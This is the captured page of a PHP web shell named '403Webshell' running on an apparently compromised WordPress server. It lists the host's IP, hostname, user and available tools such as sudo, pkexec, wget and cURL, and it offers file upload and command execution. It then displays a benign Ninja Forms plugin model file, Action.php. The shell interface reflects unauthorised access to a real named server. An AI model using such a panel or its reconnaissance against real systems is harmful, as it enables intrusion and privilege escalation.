403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tomas/public_html/wp-content/plugins/ninja-forms/includes/Database/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tomas/public_html/wp-content/plugins/ninja-forms/includes/Database/Models/Action.php
<?php if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Class NF_Database_Models_Action
 */
final class NF_Database_Models_Action extends NF_Abstracts_Model
{
    private $form_id = '';

    protected $_type = 'action';

    protected $_table_name = 'nf3_actions';

    protected $_meta_table_name = 'nf3_action_meta';

    protected $_columns = array(
        'title',
        'key',
        'type',
        'active',
        'created_at',
        'label'
    );

    public function __construct( $db, $id, $parent_id = '' )
    {
        parent::__construct( $db, $id, $parent_id );

        /**
         * Remove new DB columns from our $_columns list if the user hasn't completed required upgrades stage 1.
         */
        $sql = "SHOW COLUMNS FROM {$db->prefix}nf3_actions LIKE 'label'";
        $results = $db->get_results( $sql );
        /**
         * If we don't have the label column, we need to remove our new columns.
         *
         * Also, set our db stage 1 tracker to false.
         */
        if ( empty ( $results ) ) {
            foreach( $this->_columns as $i => $col ) {
                if( 'label' === $col ) {
                    unset( $this->_columns[ $i ] );
                }
            }
            $this->db_stage_1_complete = false;
        }
    }

} // End NF_Database_Models_Action

Youez - 2016 - github.com/yon3zu
LinuXploit